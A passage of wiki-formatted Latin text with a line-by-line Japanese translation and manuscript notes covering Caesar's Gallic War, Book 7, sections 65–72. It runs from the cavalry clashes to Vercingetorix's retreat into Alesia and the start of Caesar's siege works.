*et C.(Gaio) Valerio Domnotauro&lt;ref&gt;Domnotauro はS･L･N写本の記述で、A･B･N写本では Donnotauro 、χ系･π系写本では Donotauro となっており、ρ系写本には記述がない。&lt;/ref&gt;, Caburi filio, principe civitatis, 
**カブルスの息子で、部族の領袖であるガイウス・ウァレリウス・ドムノタウルス
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：彼は、ローマとの友好により、ローマ人風の名前を与えられていたのであろう。）&lt;/span&gt;
*compluribusque aliis interfectis intra oppida ac muros&lt;ref&gt;ac muros はα系写本の記述で、β系写本では murosque となっている。&lt;/ref&gt; compelluntur. 
**および他のかなりの者たちが殺戮されて、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と城壁の内側に追い込まれた。
*③　Allobroges crebris ad [[w:la:Rhodanus|Rhodanum]] dispositis praesidiis 
**[[w:アッロブロゲス族|アッロブロゲス族]]は、ロダヌス（＝現[[w:ローヌ川|ローヌ川]]）のところへ密に守備隊を分け置いて、
*magna cum cura et diligentia suos fines tuentur. 
**たいへんな注意と入念さにより、自分たちの領土を守った。
*④　Caesar quod hostes equitatu superiores esse intellegebat 
**カエサルは、敵方が[[w:騎兵|騎兵隊]]で（自軍より）優っていると認識していたので、
*et interclusis omnibus itineribus nulla re ex provincia atque Italia sublevari poterat, 
**かつ、すべての道が遮られて、属州やイタリアから何ら支援されることができなかったので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：属州 provincia とはガッリア・トラーンサルピーナ、イタリア Italia とは[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]のことであろう。）&lt;/span&gt;
*trans [[w:la:Rhenus|Rhenum]] in [[wikt:la:Germania|Germaniam]] mittit ad eas civitates, quas superioribus annis pacaverat, 
**レヌス（＝現[[w:ライン川|ライン川]]）の向こう側の[[w:ゲルマニア|ゲルマニア]]に、先年に平定していた諸部族のところへ（使節を）遣わした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ゲルマニア遠征や平定については、[[ガリア戦記 第4巻#16節|第4巻16節]]～19節、[[ガリア戦記 第6巻#9節|第6巻9節]]～10節を参照。）&lt;/span&gt;
*equitesque ab his arcessit et levis armaturae pedites, 
**彼らから、騎兵たち、および[[w:ウェリテス|軽い武装の歩兵]]たちを呼び寄せた。
*qui inter eos proeliari consuerant. 
**その者ら（軽装歩兵）は、彼ら（騎兵）の間で戦闘することが常であったのだ。
*⑤　Eorum adventu, quod minus idoneis equis utebantur, 
**彼ら（ゲルマニア騎兵）が到着すると、（戦闘に）あまり適していない馬を使役していたので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ゲルマニア人の馬の使用については、[[ガリア戦記 第4巻#2節|第4巻2節]]を参照。）&lt;/span&gt;
*a tribunis militum reliquisque equitibus Romanis atque evocatis equos sumit 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちやほかのローマ人騎士たちや&lt;ruby&gt;&lt;rb&gt;再徴集兵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;エウォカティ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちから、馬匹を取り上げて、
*[[w:la:Germani|Germanis]]que distribuit.
**ゲルマニア人たちに分配した。

===66節===
'''属州へと南下するカエサル、迎え撃とうとするウェルキンゲトリークス'''
*①　Interea dum haec geruntur, 
**その間に、これらが出来している間に、
*hostium copiae ex Arvernis 
**敵方の（歩兵の）軍勢が（滞陣していたゲルゴウィアの）[[w:アルウェルニ族|アルウェルニー族]]のところから、
*equitesque qui toti Galliae erant imperati conveniunt. 
**および全ガッリアの命令されていた[[w:騎兵|騎兵]]たちが、（ウェルキンゲトリークスのところに）集結して来た。
*②　Magno horum coacto numero, 
**これらの（ガッリア兵の）多数が徴集されて、
*cum Caesar in Sequanos per extremos Lingonum fines iter faceret, 
**カエサルが、[[w:セクアニ族|セクアニ族]]のところに（向かって）[[w:リンゴネス族|リンゴネス族]]の領土の外縁を通って行軍していたときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：属州へは、リンゴネス族と後述のマンドゥビイ族の間を通ってセクアニ族領を通らねばならなかった。）&lt;/span&gt;
*quo facilius subsidium provinciae ferri&lt;ref&gt;ferri はα系写本の記述で、β系写本では ferre となっている。&lt;/ref&gt; posset, 
**（それは）属州（ガッリア・トラーンサルピーナ）に援兵をより容易にもたらせるようにするためであったが、
*circiter milia passuum X(decem) ab Romanis trinis castris [[w:la:Vercingetorix|Vercingetorix]] consedit 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ローマ人たちから約10ローママイル（15km）のところに、3つの陣営にて陣取った。
*③　convocatisque ad concilium praefectis equitum 
**（ウェルキンゲトリークスは）騎兵の指揮官たちを会合へ召集して、
*venisse tempus victoriae demonstrat; 
**勝利の時が来たと、明言した。
*fugere in provinciam Romanos Galliaque excedere. 
**ローマ人たちは属州に逃亡して、ガッリアから立ち退きつつある、と。
*④　Id sibi ad praesentem obtinendam libertatem satis esse; 
**それは、自分たちにとって目下のところ、自由を維持するためには十分であるが、
*ad reliqui temporis pacem atque otium parum profici; 
**将来の平和と平穏は不充分にしか得られない。
*maioribus enim coactis copiis reversuros 
**なぜなら（ローマ人たちは）より大きな軍勢を徴集して（ガッリアに）戻って来るであろうし、
*neque finem bellandi facturos. 
**戦争することに結末をつけることはないであろう。
*Proinde agmine impeditos adorirentur&lt;ref&gt;adorirentur はA･β系写本の記述で、M･L･N写本では adoriantur 、S写本では adorantur 、Q･B･M写本ではadorientur となっている。&lt;/ref&gt;. 
**それゆえに、（ローマ勢の）行軍によって重荷となっている（輜重隊の）者たちを襲撃するのだ。
*⑤　Si pedites suis auxilium ferant atque in eo morentur, iter facere&lt;ref&gt;facere はα系写本の記述で、β系写本では confici となっている。&lt;/ref&gt; non posse; 
**もし（ローマ勢の）歩兵たちが味方を支援し、そのことで滞留するならば、（属州へ）行軍することはできない。
*si ─id quod magis futurum confidat─ 
**もし、─（我は）むしろそうなるであろうと期待することであるが─
*relictis impedimentis suae saluti consulant, 
**（ローマ歩兵たちが）[[w:輜重|輜重]]を残して、自分たちの身の安全に意を用いるならば、
*et usu rerum necessariarum et dignitate spoliatum iri. 
**必需品の使用や（ローマ人としての）品格をはぎ取られることになる。
*⑥　Nam de equitibus hostium, 
**なぜなら、敵方の騎兵については
**&lt;span style=&quot;color:#009900;&quot;&gt;:（訳注：著者カエサルはここでは、間接話法でありながら、ローマ勢について hostium「敵方の」と表現している。）&lt;/span&gt;
*quin nemo eorum progredi modo extra agmen audeat, 
**彼ら（ローマ騎兵）のうち誰も、&lt;ruby&gt;&lt;rb&gt;行軍縦隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アグメン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の外にすら、あえて進み出ようとしないこと、
*et ipsos quidem non&lt;ref&gt;et ipsos quidem non はα系写本の記述で、β系写本では ne ipsos quidem となっている。&lt;/ref&gt; debere dubitare. 
**（そのことを、諸君ら）自身は決して疑念を持つことなかれ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*Id quo maiore faciant animo, 
**それ（＝輜重隊への襲撃）を、より大胆な心構えで実行してもらうために、
*copias se omnes pro castris habiturum et terrori hostibus futurum. 
**自分（ウェルキンゲトリークス）が軍勢すべてを陣営の前に保持しておくであろうし、敵方の心胆を寒からしめるであろう。
*⑦　Conclamant equites 
**（ガッリア勢の）騎兵たちは（以下のように）叫んだ。
*sanctissimo iure iurando confirmari oportere, 
**最も神聖な誓約によって確証されなければならぬ。
*ne tecto recipiatur, ne ad liberos, ne ad parentes, ad&lt;ref&gt;ne ad …, ne ad …, ad が写本(ω)の記述であるが、モイゼル Meusel は ne ad …, ad …, ad と修正提案をしている。&lt;/ref&gt; uxorem aditum habeat, 
**（以下の者は）家に迎え入れられたり、子供たちや親たちや妻女たちのところへ近づくことがないように。
*qui non bis per agmen hostium perequitasset&lt;ref&gt;perequitasset はα系写本の記述で、β系写本では perequitarit となっている。&lt;/ref&gt;.
**敵方（ローマ勢）の隊列を越えて（往復の）2度、騎馬で駆け抜けることがなかった者は。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：敵中突破と生還を成し遂げなかった騎兵は、復員してはならない、と誓約したのである。）&lt;/span&gt;

===67節===
'''カエサル麾下のゲルマニア騎兵がウェルキンゲトリークスを一蹴'''
*①　Probata re atque omnibus iure iurando adactis 
**これが賛同されて、（ガッリア騎兵の）皆が誓約させられて、
*postero die in tres partes distributo equitatu 
**翌日に、[[w:騎兵|騎兵隊]]を3つの分隊に分配した。
*duae se acies ab duobus lateribus ostendunt, 
**2隊は（ローマ勢の左右）2つの側面から&lt;ruby&gt;&lt;rb&gt;戦闘隊形&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アキエス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;として現われた。
*una a&lt;ref&gt;a はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; primo agmine iter impedire coepit. 
**1隊は（ローマ勢の）前衛から行軍を妨げ始めた。
*②　Qua re nuntiata 
**その事が報告されて、
*Caesar suum quoque equitatum tripertito divisum contra hostem ire iubet. 
**カエサルは麾下の騎兵隊おのおのを3つに配分して、敵に対して向かって行くことを命じた。
*Pugnatur una omnibus in partibus. 
**（騎兵戦が）同時にすべての方面で戦われた。
*③　Consistit agmen; 
**（ローマ勢の）&lt;ruby&gt;&lt;rb&gt;行軍縦隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アグメン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は一歩も引かなかった。
*impedimenta intra legiones recipiuntur. 
**[[w:輜重|輜重]]は諸[[w:ローマ軍団|軍団]]の内側に後退した。
*④　Si qua in parte nostri laborare aut gravius premi videbantur, 
**もし、我が方（ローマ勢）のある部隊が苦戦したり、またはひどく押されぎみだと思われたならば、
*eo signa inferri Caesar aciemque constitui&lt;ref&gt;constitui はα系写本の記述で、β系写本では converti 、T写本では conferri となっている。&lt;/ref&gt; iubebat; 
**カエサルはそこに進撃して戦列を組織することを命じた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：signa inferre「軍旗を進める、進撃する」）&lt;/span&gt;
*quae res et hostes ad insequendum tardabat et nostros spe auxilii confirmabat. 
**その事が、敵方が追撃して来るのを遅らせもしたし、我が方が支援の希望により元気付けられもした。
*⑤　Tandem Germani ab dextro latere summum iugum nacti hostes loco depellunt, 
**ついに、ゲルマニア人（騎兵）たちが右の側面から尾根の頂きを掌握して、敵方をその場から追いやった。
*fugientes usque ad flumen, 
**逃亡する（ガッリア騎兵の）者たちを川の辺りまで（追って）、
*ubi [[w:la:Vercingetorix|Vercingetorix]] cum pedestribus copiis consederat, 
**そこには[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が[[w:歩兵|歩兵]]の軍勢とともに陣取っていたのだが、
*persecuntur&lt;ref&gt;persecuntur はα系写本の記述で、β系写本では persequuntur となっている。&lt;/ref&gt; compluresque interficiunt. 
**（ゲルマニア騎兵が敵を川辺まで）追撃して、かなりの者たちを殺戮した。
*⑥　Qua re animadversa 
**その事が（敵方に）気付かれて、
*reliqui ne circumirentur&lt;ref&gt;circumirentur はA･φ系写本の記述で、Q･β系写本では circumvenirentur となっている。&lt;/ref&gt; veriti se fugae mandant. 
**（ガッリア勢の）残りの者たちは、包囲されないようにと怖れて、逃亡に身を任せた。
*Omnibus locis fit caedes. 
**（こうしてローマ方により）あらゆる場所で虐殺が行なわれた。
*⑦　Tres nobilissimi [[w:la:Haedui|Haedui]] capti ad Caesarem perducuntur: 
**[[w:ハエドゥイ族|ハエドゥイー族]]の3人の高位の貴族が捕らえられて、カエサルのところへ連行されて来た。
*Cotus, praefectus equitum, qui controversiam cum Convictolitavi proximis comitiis habuerat, 
**コトゥスは騎兵指揮官で、最近の会議でコンウィクトリタウィスと（統領の座をめぐって）係争した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#32節|32節]]～33節を参照。）&lt;/span&gt;
*et Cavarillus, qui post defectionem Litavicci pedestribus copiis praefuerat, 
**カウァリッルスは、リタウィックスの背反の後に、歩兵の軍勢を指揮していた。
*et Eporedorix, quo duce ante adventum Caesaris Haedui cum Sequanis bello contenderant.
**エポレドリクスは、カエサルの到来以前にハエドゥイー族の将帥としてセクアニ族と戦争を闘っていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この人物は、ウィリドマルスとともにカエサルを裏切ったエポレドリクスとは同名異人である。）&lt;/span&gt;

==アレスィア攻囲戦==
===68節===
[[画像:Alésia.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]であるとほぼ確実視されている仏アリーズ＝サント＝レーヌ村（[[w:fr:Alise-Sainte-Reine|Alise-Sainte-Reine]]）近郊のオソワ山（Mont Auxois）という丘陵の西端にある[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]像（&lt;small&gt;[[w:fr:Vercingétorix_(statue d'Aimé Millet)|Statue de Vercingétorix]]&lt;/small&gt;）。&lt;small&gt;[http://maps.google.co.jp/?ie=UTF8&amp;ll=47.538579,4.490544&amp;spn=0.001172,0.002401&amp;t=h&amp;z=19&amp;brcurrent=3,0x0:0x0,1 Googleマップ]&lt;/small&gt;の航空写真にもこの巨像が写っている。&lt;br&gt;当地はフランス東部[[w:ブルゴーニュ地域圏|ブルゴーニュ地方]][[w:コート＝ドール県|コート＝ドール県]]（&lt;small&gt;[[w:fr:Côte-d'Or|Côte-d'Or]]&lt;/small&gt;）のオソワ地域（&lt;small&gt;[[w:fr:Auxois (région)|L'Auxois]]&lt;/small&gt;）にあり、県都[[w:ディジョン|ディジョン]]市街から西北西へ約4.5kmの地点に位置する。ディジョン方面から県道905号（D905）を北西に進んで行くと、ヴナレ＝レ＝ローム（&lt;small&gt;[[w:fr:Venarey-les-Laumes|Venarey-les-Laumes]]&lt;/small&gt;）から東の郊外にかけて古戦場跡が広がる。&lt;br&gt;オソワ（Auxois）という地域名・山名は、ラテン語の Alesiensis pagus「アレスィア郷」が転訛し、アリーズ（Alise）の名もアレスィア（Alesia）に由来すると考えられている。サント＝レーヌ（[[w:fr:Sainte Reine|Sainte Reine]] 聖レグニア）とはこの地でAD252年に殉教したキリスト教徒ガッリア人女性で、カトリック教会から聖人に列せられている。]]

'''ウェルキンゲトリークスがアレスィア入城、カエサルは攻囲を決断'''
*①　Fugato omni equitatu 
**すべての[[w:騎兵|騎兵隊]]が逃げてしまったので、
*[[w:la:Vercingetorix|Vercingetorix]] copias suas&lt;ref&gt;suas はβ系写本の記述で、α系写本にはない。&lt;/ref&gt;, ut pro castris conlocaverat, reduxit 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、陣営の前に配置するようにしていた麾下の（歩兵の）軍勢を呼び戻して、
*protinusque [[w:la:Alesia|Alesiam]], quod est oppidum Mandubiorum, iter facere coepit 
**すぐに、マンドゥビイ族の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;である[[w:アレシア|アレスィア]]へ行軍し始めた。
*celeriterque impedimenta ex castris educi et se subsequi iussit. 
**かつ、速やかに陣営から[[w:輜重|輜重]]を進発させること、および自分に追随すること、を命じた。
*②　Caesar impedimentis in proximum collem deductis, 
**カエサルは、輜重を近隣の丘陵に移させて、
*duabus legionibus praesidio relictis, 
**2個[[w:ローマ軍団|軍団]]を（輜重の）守備隊として（その丘陵に）残留させた。
*secutus quantum diei tempus est passum, 
**日中の時間が許される限り（ガッリア勢を）追跡して、
*circiter tribus milibus hostium ex novissimo agmine interfectis 
**敵方の後衛のうちから約3000人を殺戮して、
*altero die ad Alesiam castra fecit. 
**翌日には、アレスィアの辺りに陣営を張った。
*③　Perspecto urbis situ 
**（アレスィアの）都市の地勢を吟味して、
*perterritisque hostibus, quod equitatu, qua maxime parte exercitus confidebant, erant pulsi, 
**敵方は、部隊の大部分において頼りにしていた騎兵隊が撃退されていたので、怖れおののいていたから、
*adhortatus ad laborem milites circumvallare instituit.
**（カエサルは）兵士たちを労役に駆り立てて、（敵陣を）[[w:堡塁|堡塁]]で囲むことを決断した。

===69節===
[[画像:Alise2.jpg|thumb|right|300px|[[w:アレシア|アレスィア]]にあったローマ時代の[[w:フォルム|フォルム]]（広場）や[[w:バシリカ|バシリカ]]（教会堂）などと思われる遺跡（[http://maps.google.co.jp/?ie=UTF8&amp;t=h&amp;brcurrent=3,0x0:0x0,1&amp;ll=47.539477,4.5008&amp;spn=0.002343,0.004801&amp;z=18 Googleマップ]の航空写真を参照）。現在、オソワ山（Mont Auxois）と呼ばれているこの丘陵は、頂きが平坦な台地状になっており、その中央のさらに高い所に[[w:オッピドゥム|オッピドゥム]]（城塞都市）があったと思われる。&lt;br&gt;上の画像からは、同等の高さの丘陵が周囲を取り巻いていることが見て取れる。&lt;br&gt;『ガリア戦記』に書かれたアレスィアの所在地については諸説があって永らく不明であったが、ゲルゴウィアと同様に19世紀のウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）の発掘調査によってローマ軍の遺構などが発見され、地勢もカエサルの記述にかなり合っていると見なされて、オソワ山とその中腹にあるアリーズ＝サント＝レーヌが有力視されることになった。]]

'''アレスィアの地勢、ローマ軍の攻囲線'''
*①　Ipsum erat oppidum [[w:la:Alesia|Alesia]] in colle summo admodum edito loco, 
**[[w:アレシア|アレスィア]]の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;そのものは、丘陵の頂きにおいて、ひときわ高い地点にあって、
*ut nisi obsidione expugnari non posse videretur. 
**攻囲（包囲）以外には攻略されることができないと思われた。
*②　Cuius collis radices duo duabus ex partibus flumina subluebant. 
**その丘陵のふもとを2つの方面から、2つの川が流れていた。
*③　Ante id&lt;ref&gt;id はα系写本の記述で、β系写本にはない。&lt;/ref&gt; oppidum planities circiter milia passuum Ⅲ(tria) in longitudinem patebat; 
**その城塞都市の前に、約3ローママイル（4.5km）の間隔で、平地が広がっていた。
*④　reliquis ex omnibus partibus colles mediocri interiecto spatio 
**ほかのすべての方面からは（いくつかの）丘陵が適度な空間を置いており、
*pari altitudinis fastigio oppidum cingebant. 
**同等の高さの頂上で（アレスィアの）城塞都市を取り巻いていた。
*⑤　Sub muro, quae pars collis ad orientem solem spectabat, 
**（アレスィアの）丘陵の日が昇る方（＝東方）へ面していた部分の城壁の下には、
*hunc omnem locum copiae Gallorum compleverant 
**このすべての場所を、ガッリア人たちの軍勢が満たしていて、
*fossamque et maceriam sex in altitudinem pedum praeduxerant. 
**堀、および高さ6[[w:ペース (長さ)|ペース]]（約1.8m）の防壁を前に引いていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:maceria|maceria]] は、軍事用語としては、立てこもるための城壁&lt;ref&gt;&lt;i&gt;muraille (pour se retrancher)&lt;/i&gt;（ラルース社の羅仏辞典 &lt;small&gt;“Dictionnaire MaxiPoche Plus latin-français et français-latin”&lt;/small&gt; を参照）&lt;/ref&gt;を指す。）&lt;/span&gt;
*⑥　Eius munitionis quae ab Romanis instituebatur circuitus XI&lt;ref&gt;XI はα系写本の記述で、β系写本では X となっている。&lt;/ref&gt; milia passuum tenebat. 
**ローマ人たちによって建てられようとしていた塁壁の周囲は、11ローママイル（約16km）を占めていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：α系写本では 11マイル＝約16km、β系写本では 10マイル＝約15km となっている。）&lt;/span&gt;
*⑦　Castra opportunis locis erant posita 
**（ローマ勢の）陣営は（戦略上）都合良い地点に設置されていて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵・騎兵の陣営が計8か所に置かれていたようである。）&lt;/span&gt;
*ibique&lt;ref&gt;ibique はα系写本の記述で、β系写本では itemque となっている。&lt;/ref&gt; castella XXIII(viginti tria) facta, 
**同じく23基の砦が造られた。
*quibus in castellis interdiu stationes ponebantur, 
**それらの砦には、昼間は、歩哨たちが置かれて、
*ne qua subito eruptio fieret; 
**不意に何らかの突撃がなされないようにした。
*haec eadem noctu excubitoribus ac firmis praesidiis tenebantur.
**この同じところが、夜間は、寝ずの番兵および強力な守備隊により固守された。

===70節===
'''カエサル麾下のゲルマニア騎兵が、再びガッリア騎兵を虐殺'''
*①　Opere instituto 
**（ローマ人により）[[w:堡塁|堡塁]]が建てられだして、
*fit equestre proelium in ea planitie, 
**かの平地において[[w:騎兵|騎兵]]戦がなされた。
*quam intermissam collibus tria milia passuum in longitudinem patere supra demonstravimus. 
**それ（平地）は（周囲の）丘陵から3ローママイル（約4.5km）の間隔を空けて広がっていることを、[[#69節|前]]に述べた。
*Summa vi ab utrisque contenditur. 
**（騎兵戦は）双方の主力によって闘われた。
*②　Laborantibus nostris Caesar Germanos submittit 
**苦戦している我が方（ローマ騎兵）に対して、カエサルは[[w:ゲルマニア|ゲルマニア]]人（騎兵）を援けに派遣した。
*legionesque pro castris constituit, ne qua subito inruptio ab hostium peditatu fiat. 
**諸[[w:ローマ軍団|軍団]]を陣営の前に駐留させて、不意に何らかの突入が敵方の[[w:歩兵|歩兵隊]]によってなされないようにした。
*③　Praesidio legionum addito nostris animus augetur; 
**軍団の守備が加わって、我が方（ローマ勢の）勇気が増された。
*hostes in fugam coniecti se ipsi multitudine impediunt 
**敵方（の騎兵）は敗走に追いやられて、彼ら自身が自分たち（の敗走）を大勢であることにより妨げた。
*atque angustioribus portis relictis coacervantur&lt;ref&gt;coacervantur は近世の写本(ς)の記述で、α系写本では coacervati tum 、β系写本では coartantur となっている。&lt;/ref&gt;. 
**さらに（ガッリア陣地の）諸門がとても狭いままにしておかれたので（騎兵たちが）積み重ねられた。
*④　Germani acrius usque ad munitiones sequuntur. 
**ゲルマニア人（騎兵）たちは（ガッリア騎兵たちを）苛烈に、防塁のところまで追撃した。
*⑤　Fit magna caedes. 
**（こうして）大虐殺が起こった。
*Nonnulli relictis equis fossam transire et maceriam transcendere conantur. 
**（ガッリア騎兵の）幾人かは、馬を置き去りにして、堀を越えること、および防壁を登り越えることを試みた。
*Paulum legiones Caesar quas pro vallo constituerat promoveri iubet. 
**カエサルは、防柵の前に駐留させていた諸軍団に、いくらか前進することを命じた。
*⑥　Non minus qui intra munitiones erant perturbantur Galli: 
**防塁の内側にいたガッリア人たちも（騎兵たちに）劣らず狼狽した。
*veniri ad se confestim existimantes ad arma conclamant; 
**（ローマ勢により）自分たちのところへ直ちにやって来られると考えた者たちは、防具を取れと叫んだ。
*nonnulli perterriti in oppidum inrumpunt. 
**（ガッリア勢の）幾人かは、怖れおののいて（丘陵の頂きにある）城塞都市の中に押し入った。
*⑦　[[w:la:Vercingetorix|Vercingetorix]] iubet portas claudi, ne castra nudentur. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、陣営が無防備にされないように、（防塁の）諸門が閉じられることを命じた。
*Multis interfectis, compluribus equis captis Germani sese recipiunt.
**（ガッリア騎兵の）多くが殺戮され、おびただしい馬が捕獲されて、ゲルマニア人（騎兵）たちは退却した。

===71節===
[[画像:Statue_Vercingetorix_st_germain_en_laye.JPG|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の立像（&lt;small&gt;パリ郊外の[[w:サン＝ジェルマン＝アン＝レー|サン＝ジェルマン＝アン＝レー]] [[w:fr:Saint-Germain-en-Laye|Saint-Germain-en-Laye]]&lt;/small&gt;）。[[w:アレシアの戦い|アレスィア古戦場]]（&lt;small&gt;現在のアリーズ＝サント＝レーヌ&lt;/small&gt;）にある巨大な銅像と同様に彫刻家エメ・ミレ（[[w:fr:Aimé Millet|Aimé Millet]]）によって建立された。]]
[[画像:Napoleon3.PNG|thumb|right|250px|ウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）をして[[w:アレシア|アレスィア]]およびゲルゴウィアの発掘調査をさせた立役者･皇帝[[w:ナポレオン3世|ナポレオン3世]]の肖像。[[w:ガリア起源説|ガッリア起源説]]により、王政に反感を持つフランスの共和派や庶民は、旧[[w:ブルボン家|ブルボン王朝]]を[[w:クロヴィス1世|クロヴィス]]や[[w:ユーグ・カペー|カペー]]にさかのぼるゲルマン系の[[w:フランク人|フランク人]]と見なし、自分たちのルーツを[[w:ケルト人|ケルト系]]の古代[[w:ガリア人|ガッリア人]]に求めた。ナポレオン3世はこのような国民の意識を利用して、[[w:ナショナリズム|ナショナリズム]]の高揚および帝政の基盤強化を図ったのである。]]

'''ウェルキンゲトリークスが援兵召集のため騎兵を放ち、籠城策を定める'''
*①　[[w:la:Vercingetorix|Vercingetorix]], priusquam munitiones ab Romanis perficiantur, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ローマ人たちによって塁壁が完成されるより前に、
*consilium capit omnem ab se equitatum noctu dimittere. 
**自分のところから[[w:騎兵|騎兵隊]]のすべてを夜間に送り出すことを計画した。
*②　Discedentibus mandat 
**（アレスィアから）退去する（騎兵の）者たちに（以下のように）指図した。
*ut suam quisque eorum civitatem adeat 
**彼ら（騎兵）のおのおのが自らの部族に行くように、
*omnesque qui per aetatem arma ferre possint ad bellum cogant. 
**かつ、年齢により武器を手に取ることができる者たちの皆を戦争へ徴集するように、と。
*③　Sua in illos merita proponit obtestaturque 
**（ウェルキンゲトリークスは）彼ら（ガッリア人たち）における自分の功績に言及して（以下のように）懇願した。
*ut suae salutis rationem habeant 
**自分の身の安全を顧慮してくれるように、
*neu se optime de communi libertate meritum in cruciatum hostibus&lt;ref&gt;in cruciatum hostibus はβ系写本の記述で、α系写本では hostibus in cruciatum となっている。&lt;/ref&gt; dedant. 
**かつ（ガッリア）共通の自由について功績が最上である自分を、敵方の責め苦に渡すことがないように、と。
*Quod si indiligentiores fuerint, 
**ところが、もし（騎兵たちがウェルキンゲトリークスたちの安全に）無関心であったならば、
*milia hominum delecta octoginta una secum interitura demonstrat. 
**選りすぐりの兵員8万名が自分と一緒に滅びるであろう、と明言した。
*④　Ratione inita frumentum se exigue dierum XXX(triginta) habere&lt;ref&gt;frumentum ～ habere はβ系写本の記述で、χ系･φ系あるいはモイゼル H. Meusel の修正提案など、写本や校訂者により語順が異なっていたり、単語が欠けていたりする。&lt;/ref&gt;, 
**見積もったところ、自分たちはわずかに30日分の穀物を保有しているが、
*sed paulo etiam longius tolerari posse parcendo. 
**しかし節約することにより、なおいくらか長く耐え忍ぶことができる、と。
*⑤　His datis mandatis, 
**これらの指図を与えてから、
*qua erat nostrum opus&lt;ref&gt;erat nostrum opus はβ系写本の記述で、α系写本では単に opus erat となっている。&lt;/ref&gt; intermissum, secunda vigilia silentio equitatum mittit&lt;ref&gt;mittit はχ系･B･M･S写本の記述で、β系写本では dimittit となっている。&lt;/ref&gt;. 
**我が方（ローマ勢）の構築物が中断しているところから、第二夜警時に静けさのうちに、騎兵隊を送り出した。
*⑥　Frumentum omne ad se referri iubet, 
**穀物をすべて自分のところへ運んで来ることを命じて、
*capitis poenam iis qui non paruerint constituit; 
**服従しなかった者たちを極刑に処すと決めた。
*⑦　pecus, cuius magna erat copia a Mandubiis&lt;ref&gt;a Mandubiis はβ系写本の記述で、α系写本では ab Manduviis となっている。&lt;/ref&gt; compulsa, viritim distribuit; 
**家畜は、マンドゥビイ族によって大量に集められていたが、個々に分配した。
*frumentum parce et paulatim metiri instituit; 
**穀物を節約して少しずつ量り分けることを定めた。
*⑧　copias omnes quas pro oppido collocaverat in oppidum recepit. 
**&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の前に駐留させていた（歩兵の）軍勢すべてを城塞都市の中に退却させた。
*⑨　His rationibus auxilia Galliae exspectare et bellum parat administrare&lt;ref&gt;parat administrare はα系写本の記述で、β系写本では administrare parat となっている。&lt;/ref&gt;.
**これらの手段により、ガッリア（諸部族）の援軍を待つこと、および戦争を指導しようとしたのである。

===72節===
'''カエサルが、より大掛かりな攻囲陣地を構築する'''
*①　Quibus rebus cognitis&lt;ref&gt;cognitis がこの位置にあるのはα系写本の記述で、β系写本では captivis の後となっている。&lt;/ref&gt; ex perfugis et captivis 
**それらの事情を脱走兵たちや捕虜たちから知って、
*Caesar haec genera munitionis instituit. 
**カエサルは以下の類いの塁壁工事に取りかかった。
&lt;br&gt;

*'''前線の切り立った空堀'''
*Fossam pedum XX(viginti) derectis lateribus duxit, 
**20[[w:ペース (長さ)|ペース]]（約6m）の（幅の）垂直な側面の堀を引いた。
